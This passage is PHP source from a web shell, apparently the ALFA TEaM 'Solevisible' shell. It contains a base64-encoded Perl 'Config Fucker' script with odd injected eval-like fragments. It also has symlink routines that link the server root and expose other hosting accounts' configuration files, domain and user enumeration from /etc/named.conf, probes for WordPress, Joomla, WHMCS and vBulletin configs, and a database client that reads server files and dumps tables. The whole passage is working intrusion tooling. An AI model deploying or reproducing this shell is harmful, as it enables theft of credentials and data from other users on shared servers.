bi5waHAnLCRrb2xhLictY3BhbmVsLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3BhbmVsL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLXBhbmVsLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2hvc3QvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictaG9zdC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ob3N0aW5nL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWhvc3RpbmcudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaG9zdHMvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictaG9zdHMudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictam9vbWxhLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3N1Ym1pdHRpY2tldC5waHAnLCRrb2xhLictd2htY3MyLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4Scyc7JE9VVD1zb2xldmlzaWQsZSgkT1VUKTtldmFVTsKCRPT08wMDAwTzAoJE9VVCknL3B1YmxpY19odG1sL2NsaWVudHMvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictY2xpZW50cy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbGllbnQvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictY2xpZW50LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NsaWVudGVzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWNsaWVudGVzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NsaWVudGUvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictY2xpZW50LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NsaWVudHN1cHBvcnQvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictY2xpZW50c3VwcG9ydC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9iaWxsaW5nL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWJpbGxpbmcudHh0Jyk7IA0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL21hbmFnZS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy13aG0tbWFuYWdlLnR4dCcpOyANCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9teS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy13aG0tbXkudHh0Jyk7IA0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL215c2hvcC9jb25maWd1cmF0aW9uLnBScyc7JE9VVD1zb2xldmlzaWQsZSgkT1VUKTtldmFVTsKCRPT08wMDAwTzAoJE9VVCkocCcsJGtvbGEuJy13aG0tbXlzaG9wLnR4dCcpOyANCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9kaXN0LWNvbmZpZ3VyZS5waHAnLCRrb2xhLictemVuY2FydC50eHQnKTsgDQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvemVuY2FydC9pbmNsdWRlcy9kaXN0LWNvbmZpZ3VyZS5waHAnLCRrb2xhLictc2hvcC16ZW5jYXJ0LnR4dCcpOyANCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zaG9wL2luY2x1ZGVzL2Rpc3QtY29uZmlndXJlLnBocCcsJGtvbGEuJy1zaG9wLVpDc2hvcC50eHQnKTsgDQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvU2V0dGluZ3MucGhwJywka29sYS4nLXNtZi50eHQnKTsgDQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc21mL1NldHRpbmdzLnBocCcsJGtvbGEuJy1zbWYyLnR4dCcpOyANCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9TZXR0aW5ncy5waHAnLCRrb2xhLictc21mLWZvcnVtLnR4dCcpOyANCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bXMvU2V0dGluZ3MucGhwJywka29sYS4nLXNtZi1mb3J1bXMudHh0Jyk7IA0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3VwbG9hZC9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLXVwLnR4dCcpOyANCnN5bWxpbmsoJy9ob21lLycuJHVScyc7JE9VVD1zb2xldmlzaWQsZSgkT1VUKTtldmFVTsKCRPT08wMDAwTzAoJE9VVCkzZXIuJy9wdWJsaWNfaHRtbC91cC9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLXVwMi50eHQnKTsgDQp9DQppZiAoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAnUE9TVCcpIHsNCiAgcmVhZChTVERJTiwgJGJ1ZmZlciwgJEVOVnsnQ09OVEVOVF9MRU5HVEgnfSk7DQp9IGVsc2Ugew0KICAkYnVmZmVyID0gJEVOVnsnUVVFUllfU1RSSU5HJ307DQp9DQpAcGFpcnMgPSBzcGxpdCgvJi8sICRidWZmZXIpOw0KZm9yZWFjaCAkcGFpciAoQHBhaXJzKSB7DQogICgkbmFtZSwgJHZhbHVlKSA9IHNwbGl0KC89LywgJHBhaXIpOw0KICAkbmFtZSA9fiB0ci8rLyAvOw0KICAkbmFtZSA9fiBzLyUoW2EtZkEtRjAtOV1bYS1mQS1GMC05XSkvcGFjaygiQyIsIGhleCgkMSkpL2VnOw0KICAkdmFsdWUgPX4gdHIvKy8gLzsNCiAgJHZhbHVlID1+IHMvJShbYS1mQS1GMC05XVthLWZBLUYwLTldKS9wYWNrKCJDIiwgaGV4KCQxKSkvZWc7DQogICRGT1JNeyRuYW1lfSA9ICR2YWx1ZTsNCn0NCmlmICgkRk9STXtwYXNzfSBlcSAiIil7DQpwcmludCAnDQo8Ym9keSBjbGFzcz0ic29sZXZpc2libGUiIGJnY29sb3I9IiMwMDAwMDAiPg0KPHA+U29sZXZpc2libGVbQUxGQSBURWFNXSBDb25maWcgRnVja2VyPC9wPg0KPHA+c29sZXZpc2libGVbYXRdZ21haWwuY29tPC9wPg0KPHNwYW4+PGZvbnQgY29sb3I9InJlZCI+bm90ZTo8L2ZvbnQ+IGVudGVyIHBhc3N3ZD0+IDxmb250IGNvbG9yPSIjRkZGRkZGIj5jYXQgL2V0Yy9wYXNzd2Q8L2ZScyc7JE9VVD1zb2xldmlzaWQsZSgkT1VUKTtldmFVTsKCRPT08wMDAwTzAoJE9VVCkvbnQ+PC9zcGFuPjxiciAvPg0KPGJyIC8+PGZvcm0gbWV0aG9kPSJwb3N0Ij48c3Ryb25nPg0KPHRleHRhcmVhIGlkPSJjaGVja291dHRleHRhcmVhIiBuYW1lPSJwYXNzIiBzdHlsZT0iYm9yZGVyOjNweCBkb3R0ZWQgI0ZGMDAwMDsgd2lkdGg6ICA0OThweDsgaGVpZ2h0OiAzNzBweDsgYmFja2dyb3VuZC1jb2xvcjojRkZGRkZGOyBmb250LWZhbWlseTpUYWhvbWE7IGZvbnQtc2l6ZTo5cHQ7IGNvbG9yOiBibGFjayIgID48L3RleHRhcmVhPjxiciAvPg0KJm5ic3A7PHA+DQo8aW5wdXQgbmFtZT0idGFyIiB0eXBlPSJ0ZXh0IiBzdHlsZT0iYm9yZGVyOjNweCBkb3R0ZWQgI0ZGMDAwMDsgd2lkdGg6IDIxMnB4OyBiYWNrZ3JvdW5kLWNvbG9yOiNGRkZGRkY7IGZvbnQtZmFtaWx5OlRhaG9tYTsgZm9udC1zaXplOjhwdDsgY29sb3I6YmxhY2s7ICIgIC8+PGJyIC8+DQombmJzcDs8L3A+DQo8cD4NCjxpbnB1dCBuYW1lPSJTdWJtaXQxIiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJDb25maWcgR2V0IiBzdHlsZT0iYm9yZGVyOjNweCBkb3R0ZWQgI0ZGMDAwMDsgd2lkdGg6IDk5OyBmb250LWZhbWlseTpUYWhvbWE7IGZvbnQtc2l6ZToxMHB0OyBjb2xvcjogYmxhY2s7IHRleHQtdHJhbnNmb3JtOnVwcGVyY2FzZTsgaGVpZ2h0OjIzOyBiYWNrZ3JvdW5kLWNvbG9yOiNGRkZGRkY7IiAvPjwvcD4NCjwvZm9ybT48L3N0cm9uZz4NCic7DQp9ZWxzZXsNCkBsaW5lcyA9PCRGT1JNe3Bhc3N9PjsNCiR5ID0gQGxpbmVzOw0Kb3BlbiAoTVlScyc7JE9VVD1zb2xldmlzaWQsZSgkT1VUKTtldmFVTsKCRPT08wMDAwTzAoJE9VVCkGSUxFLCAiPnRhci50bXAiKTsNCnByaW50IE1ZRklMRSAidGFyIC1jemYgIi4kRk9STXt0YXJ9LiIudGFyICI7DQpmb3IgKCRrYT0wOyRrYTwkeTska2ErKyl7DQp3aGlsZShAbGluZXNbJGthXSAgPX4gbS8oLio/KTp4Oi9nKXsNCiZsaWwoJDEpOw0KcHJpbnQgTVlGSUxFICQxLiIudHh0ICI7DQpmb3IoJGtkPTE7JGtkPDE4OyRrZCsrKXsNCnByaW50IE1ZRklMRSAkMS4ka2QuIi50eHQgIjsNCn0NCn0NCiB9DQpwcmludCc8Ym9keSBjbGFzcz0ic29sZXZpc2libGUiIGJnY29sb3I9IiMwMDAwMDAiPg0KPGgyPmNvbXBsZXRlZCA6KTwvaDI+DQo8cD4mbmJzcDs8L3A+JzsNCmlmKCRGT1JNe3Rhcn0gbmUgIiIpew0Kb3BlbihJTkZPLCAidGFyLnRtcCIpOw0KQGxpbmVzID08SU5GTz4gOw0KY2xvc2UoSU5GTyk7DQpzeXN0ZW0oQGxpbmVzKTsNCnByaW50JzxwPjxhIGhyZWY9IicuJEZPUk17dGFyfS4nLnRhciI+PGZvbnQgY29sb3I9IiMwMEZGMDAiPg0KPHNwYW4gc3R5bGU9InRleHQtZGVjb3JhdGlvbjogbm9uZSI+Q2xpY2sgSGVyZSBUbyBEb3dubG9hZCBUYXIgRmlsZTwvc3Bhbj48L2ZvbnQ+PC9hPjwvcD4nOw0KfQ0KfQ0KIHByaW50Ig0KPC9ib2R5Pg0KPC9odG1sPiI7\';
$solevisible1 = fopen(\'config.alfa\',\'w+\');
$solevisible2 = fwrite ($solevisible1 ,base64_decode($solevisible3));
fclose($solevisible1);
chmod(\'config.alfa\',0755);
echo "<pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\"><br>";
echo \'<iframe src=alfaconfig/config.alfa width=100% height=600px frameborder=0></iframe> \';
}
if(isset($_POST[\'alfa4\']) && $_POST[\'alfa4\']==\'SymFile\')
{
echo \'
<script>alfa1_=alfa2_=alfa3_=alfa4_=alfa5_=alfa6_=alfa7_=alfa8_="";</script>
<center>
<pre id="strOutput" style="margin-top:5px" class="ml1"></pre><br>
<form onSubmit="g(\'symlink\',null,null,null,null,\'SymFile\',this.file.value,this.symfile.value,this.symlink.value);return false;" method="post">
<b><big><font color="#FFFF01" >==</font> <font color="#00A220">Symlink</font> <font color="#FFFFFF">File And</font><font color="#FF0000"> Directory</font><font color="#FFFF01"> ==</font></b></big><p>
<input type="text" name="file" placeholder="Example : /home/user/public_html/config.php" size="60"/><br /><p>
<input type="text" name="symfile" placeholder="Example : alfa.txt" size="60"/><br />
<input type="submit" value=">>" name="symlink" />
</form></center>
\';
@mkdir(\'sym\',0777);
$solevisible11 = "Options all 
 DirectoryIndex Sux.html 
 AddType text/plain .php 
 AddHandler server-parsed .php 
 AddType text/plain .html 
 AddHandler txt .html 
 Require None 
 Satisfy Any";
$solevisible10 =@fopen (\'sym/.htaccess\',\'w\');
fwrite($solevisible10 ,$solevisible11);
$solevisible56 = $_POST[\'alfa5\'];
$solevisible57 = $_POST[\'alfa6\'];
$solevisible58 = $_POST[\'alfa7\'];
if ($solevisible58)
{
@symlink("$solevisible56","sym/$solevisible57");
echo "<pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\"><br>";
echo \'<center><b><font color="white">Click >> </font><a target="_blank" href="sym/\'.$solevisible57.\'" ><b><font size="4">\'.$solevisible57.\'</font></b></a></b></center><br>\';
}
}
if(isset($_POST[\'alfa1\']) && $_POST[\'alfa1\']==\'website\')
{if(!@file_exists("/etc/virtual/domainowners")){
echo "<center>";
$d0mains = @file("/etc/named.conf");
if(!$d0mains){ echo "<pre class=ml1 style=\'margin-top:5px\'><b><font color=\"#FFFFFF\">[+] Cant access this file on server -> [ /etc/named.conf ]</b></font></pre></center>"; }
echo "<pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\"><br><table align=\'center\' width=\'40%\' class=\'main\' border=\'1\'><td><font color=\"#00A220\"><b><center># Count</center></font></b></td><td><font color=\"#FFFFFF\"><b><center>Domains</center></font></b></td><td><font color=\"#FF0000\"><b><center>Users</center></font></b></td>";
$count=1;
foreach($d0mains as $d0main){
if(@eregi("zone",$d0main)){
preg_match_all(\'#zone "(.*)"#\', $d0main, $domains);
flush();
if(strlen(trim($domains[1][0])) > 2){
$user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
echo "<tr><td><b><font color=\"#00A220\">".$count."</b></font></td><td><a href=http://www.".$domains[1][0]."/><font color=\"#FFFFFF\"><b>".$domains[1][0]."</font></b></a></td><td><b><font color=\"#FF0000\">".$user[\'name\']."</font></b></td></tr>";flush();
$count++;
}}}
echo "</center></table>";
}else{echo \'<pre id="strOutput" style="margin-top:5px" class="ml1"><br><font color="#FFFFFF">This is Server DirectAdmin Please use </font><font color="#FF0000">Whole Symlink for DirectAdmin</font></b> \';}
}
if(isset($_POST[\'alfa2\']) && $_POST[\'alfa2\']==\'whole\')
{
if(!@file_exists("/etc/virtual/domainowners")){
@set_time_limit(0);
echo "<center>";
@mkdir(\'sym\',0777);
$solevisible11 = "Options all 
 DirectoryIndex Sux.html 
 AddType text/plain .php 
 AddHandler server-parsed .php 
 AddType text/plain .html 
 AddHandler txt .html 
 Require None 
 Satisfy Any";
$solevisible10 =@fopen (\'sym/.htaccess\',\'w\');
fwrite($solevisible10 ,$solevisible11);
@symlink(\'/\',\'sym/root\');
$solevisible12 = basename(\'_FILE_\');
$solevisible9 = @file(\'/etc/named.conf\');
if(!$solevisible9)
{
echo "<pre class=ml1 style=\'margin-top:5px\'><b><font color=\"#FFFFFF\">[+] Cant access this file on server -> [ /etc/named.conf ]</b></font></pre></center>";
}
else
{
echo "<pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\"><br>";
echo "<table align=\'center\' width=\'40%\' class=\'main\' border=\'1\'>
<td><font color=\"#FFFF01\"><b><center># Count</center></font></b></td>
<td><font color=\"#00A220\"><b><center>Domains</center></font></b></td>
<td><font color=\"#FFFFFF\"><b><center>Users</center></font></b></td>
<td><font color=\"#FF0000\"><b><center>symlink</center></font></b></td>";
$count=1;
foreach($solevisible9 as $solevisible13){
if(@eregi(\'zone\',$solevisible13)){
preg_match_all(\'#zone "(.*)"#\',$solevisible13,$solevisible14);
flush();
if(strlen(trim($solevisible14[1][0])) >2){
$solevisible18 = posix_getpwuid(@fileowner(\'/etc/valiases/\'.$solevisible14[1][0]));
$solevisible21 = $solevisible18[\'name\'];
@symlink(\'/\',\'sym/root\');
$solevisible21 = $solevisible14[1][0];
$solevisible20 = \'\.ir\';
$solevisible19 = \'\.il\';
if (@eregi("$solevisible20",$solevisible14[1][0]) or @eregi("$solevisible19",$solevisible14[1][0]) ){
$solevisible21 = "<b><font color=\"#00FFFF\">".$solevisible14[1][0].\'</font></b>\';}
echo "<tr><td><font color=\"#FFFF01\">{$count}</font></td><td><a target=\'_blank\' href=http://www.".$solevisible14[1][0].\'/><font color=\"#00A220\"><b>\'.$solevisible21.\'</b> </a></font></td><td><font color="white"><b>\'.$solevisible18[\'name\']."</font></b></td><td><a href=\'sym/root/home/".$solevisible18[\'name\']."/public_html\' target=\'_blank\'><font color=\"#FF0000\">symlink </font></a></td></tr>";flush();
$count++;}}}}}else {echo \'<pre id="strOutput" style="margin-top:5px" class="ml1"><br><font color="#FFFFFF">This is Server DirectAdmin Please use </font><font color="#FF0000">Whole Symlink for DirectAdmin</font></b> \';}
echo "</center></table>";
}
if(isset($_POST[\'alfa6\']) && $_POST[\'alfa6\']==\'direct\')
{
if(@file_exists("/etc/virtual/domainowners")){
@mkdir(\'sym\',0777);
$solevisible11 = "Options all 
 DirectoryIndex Sux.html 
 AddType text/plain .php 
 AddHandler server-parsed .php 
 AddType text/plain .html 
 AddHandler txt .html 
 Require None 
 Satisfy Any";
$solevisible10 =@fopen (\'sym/.htaccess\',\'w\');
fwrite($solevisible10 ,$solevisible11);
@symlink(\'/\',\'sym/root\');
fclose($solevisible10);
$sole = @file("/etc/virtual/domainowners");
$count=1;
echo "<pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\"><br>";
echo "<table align=\'center\' width=\'40%\' class=\'main\' border=\'1\'>
<td><font color=\"#FFFF01\"><b><center># Count</center></font></b></td>
<td><font color=\"#00A220\"><b><center>Domains</center></font></b></td>
<td><font color=\"#FFFFFF\"><b><center>Users</center></font></b></td>
<td><font color=\"#FF0000\"><b><center>symlink</center></font></b></td>";
foreach($sole as $visible){
if(@eregi(":",$visible)){
$solevisible = explode(\':\', $visible);
echo "<tr><td><font color=\"#FFFF01\">{$count}</font></td><td><a target=\'_blank\' href=http://www.".trim($solevisible[0]).\'/><font color=\"#00A220\"><b>\'.trim($solevisible[0]).\'</b> </font></a></td><td><font color="white"><b>\'.trim($solevisible[1])."</font></b></td><td><a href=\'sym/root/home/".trim($solevisible[1])."/public_html\' target=\'_blank\'><font color=\"#FF0000\">symlink </font></a></td></tr>";flush();
$count++;}}echo "</table>";}else{echo \'<pre id="strOutput" style="margin-top:5px" class="ml1"><br><font color="#FFFFFF">This is Server Cpanel Please use</font><font color="#FF0000"> Whole Symlink for Cpanel</font></b><br>\';}}
if(isset($_POST[\'alfa3\']) && $_POST[\'alfa3\']==\'config\')
{
echo "<center>";
@mkdir(\'sym\',0777);
$solevisible11 = "Options all 
 DirectoryIndex Sux.html 
 AddType text/plain .php 
 AddHandler server-parsed .php 
 AddType text/plain .html 
 AddHandler txt .html 
 Require None 
 Satisfy Any";
$solevisible10 =@fopen (\'sym/.htaccess\',\'w\');
@fwrite($solevisible10 ,$solevisible11);
@symlink(\'/\',\'sym/root\');
$solevisible12 = basename(\'_FILE_\');
$solevisible9 = @file(\'/etc/named.conf\');
if(!$solevisible9)
{
echo "<pre class=ml1 style=\'margin-top:5px\'><b><font color=\"#FFFFFF\">[+] Cant access this file on server -> [ /etc/named.conf ]</b></font></pre></center>";
}
else
{
echo "<pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\"><br>
<table align=\'center\' width=\'40%\' class=\'main\' ><td><b><font color=\"#FFFFFF\"><center> Domains <b></font></center></td><td> <b><font color=\"#FFFFFF\">Script <b></font></center></td>";
foreach($solevisible9 as $solevisible13){
if(@eregi(\'zone\',$solevisible13)){
preg_match_all(\'#zone "(.*)"#\',$solevisible13,$solevisible14);
flush();
if(strlen(trim($solevisible14[1][0])) >2){
$solevisible18 = posix_getpwuid(@fileowner(\'/etc/valiases/\'.$solevisible14[1][0]));
$solevisible15=$solevisible8.\'/sym/root/home/\'.$solevisible18[\'name\'].\'/public_html/wp-config.php\';
$solevisible33=get_headers($solevisible15);
$solevisible17=$solevisible33[0];
$solevisible34=$solevisible8.\'/sym/root/home/\'.$solevisible18[\'name\'].\'/public_html/blog/wp-config.php\';
$solevisible35=get_headers($solevisible34);
$solevisible36=$solevisible35[0];
$solevisible37=$solevisible8.\'/sym/root/home/\'.$solevisible18[\'name\'].\'/public_html/configuration.php\';
$solevisible38=get_headers($solevisible37);
$solevisible28=$solevisible38[0];
$solevisible29=$solevisible8.\'/sym/root/home/\'.$solevisible18[\'name\'].\'/public_html/joomla/configuration.php\';
$solevisible30=get_headers($solevisible29);
$solevisible27=$solevisible30[0];
$solevisible31=$solevisible8.\'/sym/root/home/\'.$solevisible18[\'name\'].\'/public_html/includes/config.php\';
$solevisible32=get_headers($solevisible31);
$solevisible26=$solevisible32[0];
$solevisible25=$solevisible8.\'/sym/root/home/\'.$solevisible18[\'name\'].\'/public_html/vb/includes/config.php\';
$solevisible39=get_headers($solevisible25);
$solevisible40=$solevisible39[0];
$solevisible24=$solevisible8.\'/sym/root/home/\'.$solevisible18[\'name\'].\'/public_html/forum/includes/config.php\';
$solevisible23=get_headers($solevisible24);
$solevisible22=$solevisible23[0];
$solevisible41=$solevisible8.\'/sym/root/home/\'.$solevisible18[\'name\'].\'public_html/clients/configuration.php\';
$solevisible42=get_headers($solevisible41);
$solevisible43=$solevisible42[0];
$solevisible44=$solevisible8.\'/sym/root/home/\'.$solevisible18[\'name\'].\'/public_html/support/configuration.php\';
$solevisible42=get_headers($solevisible44);
$solevisible45=$solevisible42[0];
$solevisible46=$solevisible8.\'/sym/root/home/\'.$solevisible18[\'name\'].\'/public_html/client/configuration.php\';
$solevisible47=get_headers($solevisible46);
$solevisible48=$solevisible47[0];
$solevisible49=$solevisible8.\'/sym/root/home/\'.$solevisible18[\'name\'].\'/public_html/submitticket.php\';
$solevisible50=get_headers($solevisible49);
$solevisible51=$solevisible50[0];
$solevisible52=$solevisible8.\'/sym/root/home/\'.$solevisible18[\'name\'].\'/public_html/client/configuration.php\';
$solevisible53=get_headers($solevisible52);
$solevisible54=$solevisible53[0];
$solevisible54 = strpos($solevisible17,\'200\');
$solevisible16=\'&nbsp;\';
if (strpos($solevisible17,\'200\') == true )
{
$solevisible16="<a href=\'".$solevisible15."\' target=\'_blank\'>Wordpress</a>";
}
elseif (strpos($solevisible36,\'200\') == true)
{
$solevisible16="<a href=\'".$solevisible34."\' target=\'_blank\'>Wordpress</a>";
}
elseif (strpos($solevisible28,\'200\') == true and strpos($solevisible51,\'200\') == true )
{
$solevisible16=" <a href=\'".$solevisible49."\' target=\'_blank\'>WHMCS</a>";
}
elseif (strpos($solevisible45,\'200\') == true)
{
$solevisible16 =" <a href=\'".$solevisible44."\' target=\'_blank\'>WHMCS</a>";
}
elseif (strpos($solevisible48,\'200\') == true)
{
$solevisible16 =" <a href=\'".$solevisible46."\' target=\'_blank\'>WHMCS</a>";
}
elseif (strpos($solevisible28,\'200\') == true)
{
$solevisible16=" <a href=\'".$solevisible37."\' target=\'_blank\'>Joomla</a>";
}
elseif (strpos($solevisible27,\'200\') == true)
{
$solevisible16=" <a href=\'".$solevisible29."\' target=\'_blank\'>Joomla</a>";
}
elseif (strpos($solevisible26,\'200\') == true)
{
$solevisible16=" <a href=\'".$solevisible31."\' target=\'_blank\'>vBulletin</a>";
}
elseif (strpos($solevisible40,\'200\') == true)
{
$solevisible16=" <a href=\'".$solevisible25."\' target=\'_blank\'>vBulletin</a>";
}
elseif (strpos($solevisible22,\'200\') == true)
{
$solevisible16=" <a href=\'".$solevisible24."\' target=\'_blank\'>vBulletin</a>";
}
else
{
continue;
}
$solevisible21 = $solevisible18[\'name\'] ;
echo \'<tr><td><a href=http://www.\'.$solevisible14[1][0].\'/>\'.$solevisible14[1][0].\'</a></td>
<td>\'.$solevisible16.\'</td></tr>\';flush();
}
}
}
}
echo "</center></table>";
}
echo "</div>";
alfafooter();
}
function alfasql()
{
class DbClass {
var $type;
var $link;
var $res;
function DbClass($type) {
$this->type = $type;
}
function connect($host, $user, $pass, $dbname){
switch($this->type) {
case \'mysql\':
if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
break;
case \'pgsql\':
$host = explode(\':\', $host);
if(!$host[1]) $host[1]=5432;
if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
break;
}
return false;
}
function selectdb($db) {
switch($this->type) {
case \'mysql\':
if (@mysql_select_db($db))return true;
break;
}
return false;
}
function query($str) {
switch($this->type) {
case \'mysql\':
return $this->res = @mysql_query($str);
break;
case \'pgsql\':
return $this->res = @pg_query($this->link,$str);
break;
}
return false;
}
function fetch() {
$res = func_num_args()?func_get_arg(0):$this->res;
switch($this->type) {
case \'mysql\':
return @mysql_fetch_assoc($res);
break;
case \'pgsql\':
return @pg_fetch_assoc($res);
break;
}
return false;
}
function listDbs() {
switch($this->type) {
case \'mysql\':
return $this->query("SHOW databases");
break;
case \'pgsql\':
return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!=\'t\'");
break;
}
return false;
}
function listTables() {
switch($this->type) {
case \'mysql\':
return $this->res = $this->query(\'SHOW TABLES\');
break;
case \'pgsql\':
return $this->res = $this->query("select table_name from information_schema.tables where table_schema != \'information_schema\' AND table_schema != \'pg_catalog\'");
break;
}
return false;
}
function error() {
switch($this->type) {
case \'mysql\':
return @mysql_error();
break;
case \'pgsql\':
return @pg_last_error();
break;
}
return false;
}
function setCharset($str) {
switch($this->type) {
case \'mysql\':
if(function_exists(\'mysql_set_charset\'))
return @mysql_set_charset($str, $this->link);
else
$this->query(\'SET CHARSET \'.$str);
break;
case \'pgsql\':
return @pg_set_client_encoding($this->link, $str);
break;
}
return false;
}
function loadFile($str) {
switch($this->type) {
case \'mysql\':
return $this->fetch($this->query("SELECT LOAD_FILE(\'".addslashes($str)."\') as file"));
break;
case \'pgsql\':
$this->query("CREATE TABLE wso2(file text);COPY wso2 FROM \'".addslashes($str)."\';select file from wso2;");
$r=array();
while($i=$this->fetch())
$r[] = $i[\'file\'];
$this->query(\'drop table wso2\');
return array(\'file\'=>implode("
",$r));
break;
}
return false;
}
function dump($table, $fp = false) {
switch($this->type) {
case \'mysql\':
$res = $this->query(\'SHOW CREATE TABLE `\'.$table.\'`\');
$create = mysql_fetch_array($res);
$sql = $create[1].";
";
if($fp) fwrite($fp, $sql); else echo($sql);
$this->query(\'SELECT * FROM `\'.$table.\'`\');
$head = true;
while($item = $this->fetch()) {
$columns = array();
foreach($item as $k=>$v) {
if($v == null)
$item[$k] = "NULL";
elseif(is_numeric($v))
$item[$k] = $v;
else
$item[$k] = "\'".@mysql_real_escape_string($v)."\'";
$columns[] = "`".$k."`";
}
if($head) {
$sql = \'INSERT INTO `\'.$table.\'` (\'.implode(", ", $columns).") VALUES 
	(".implode(", ", $item).\')\';
$head = false;
} else
$sql = "
	,(".implode(", ", $item).\')\';
if($fp) fwrite($fp, $sql); else echo($sql);
}
if(!$head)
if($fp) fwrite($fp, ";

"); else echo(";

");
break;
case \'pgsql\':
$this->query(\'SELECT * FROM \'.$table);
while($item = $this->fetch()) {
$columns = array();
foreach($item as $k=>$v) {
$item[$k] = "\'".addslashes($v)."\'";
$columns[] = $k;
}
$sql = \'INSERT INTO \'.$table.\' (\'.implode(", ", $columns).\') VALUES (\'.implode(", ", $item).\');\'."
";
if($fp) fwrite($fp, $sql); else echo($sql);
}
break;
}
return false;
}
};
$db = new DbClass($_POST[\'type\']);
if(@$_POST[\'alfa2\']==\'download\') {
$db->connect($_POST[\'sql_host\'], $_POST[\'sql_login\'], $_POST[\'sql_pass\'], $_POST[\'sql_base\']);
$db->selectdb($_POST[\'sql_base\']);
switch($_POST[\'charset\']) {
case "Windows-1251": $db->setCharset(\'calfa1251\'); break;
case "UTF-8": $db->setCharset(\'utf8\'); break;
case "KOI8-R": $db->setCharset(\'koi8r\'); break;
case "KOI8-U": $db->setCharset(\'koi8u\'); break;
case "calfa866": $db->setCharset(\'calfa866\'); break;
}
if(empty($_POST[\'file\'])) {
ob_start("ob_gzhandler", 4096);
header("Content-Disposition: attachment; filename=dump.sql");
header("Content-Type: text/plain");
foreach($_POST[\'tbl\'] as $v)
$db->dump($v);
exit;
} elseif($fp = @fopen($_POST[\'file\'], \'w\')) {
foreach($_POST[\'tbl\'] as $v)
$db->dump($v, $fp);
fclose($fp);
unset($_POST[\'alfa2\']);
} else
die(\'<script>alert("Error! Can\'t open file");window.history.back(-1)</script>\');
}
alfahead();
echo "
<div class=header>
<form name=\'sf\' method=\'post\' onsubmit=\'fs(this);\'><table cellpadding=\'2\' cellspacing=\'0\'><tr>
<td><font color=\"#ffffff\"><b>TYPE</b></font></td><td><font color=\"#ffffff\"><b>HOST</b></font></td><td><font color=\"#ffffff\"><b>DB USER</b></font></td><td><font color=\"#ffffff\"><b>DB PASS</b></font></td><td><font color=\"#ffffff\"><b>DB NAME</b></font></td><td></td></tr><tr>
<input type=hidden name=a value=Sql><input type=hidden name=alfa1 value=\'query\'><input type=hidden name=alfa2 value=\'\'><input type=hidden name=c value=\'". htmlspecialchars($GLOBALS[\'cwd\']) ."\'><input type=hidden name=charset value=\'". (isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\') ."\'>
<td><select name=\'type\'><option value=\'mysql\' ";
if(@$_POST[\'type\']==\'mysql\')echo \'selected\';
echo ">MySql</option><option value=\'pgsql\' ";
if(@$_POST[\'type\']==\'pgsql\')echo \'selected\';
echo ">PostgreSql</option></select></td>
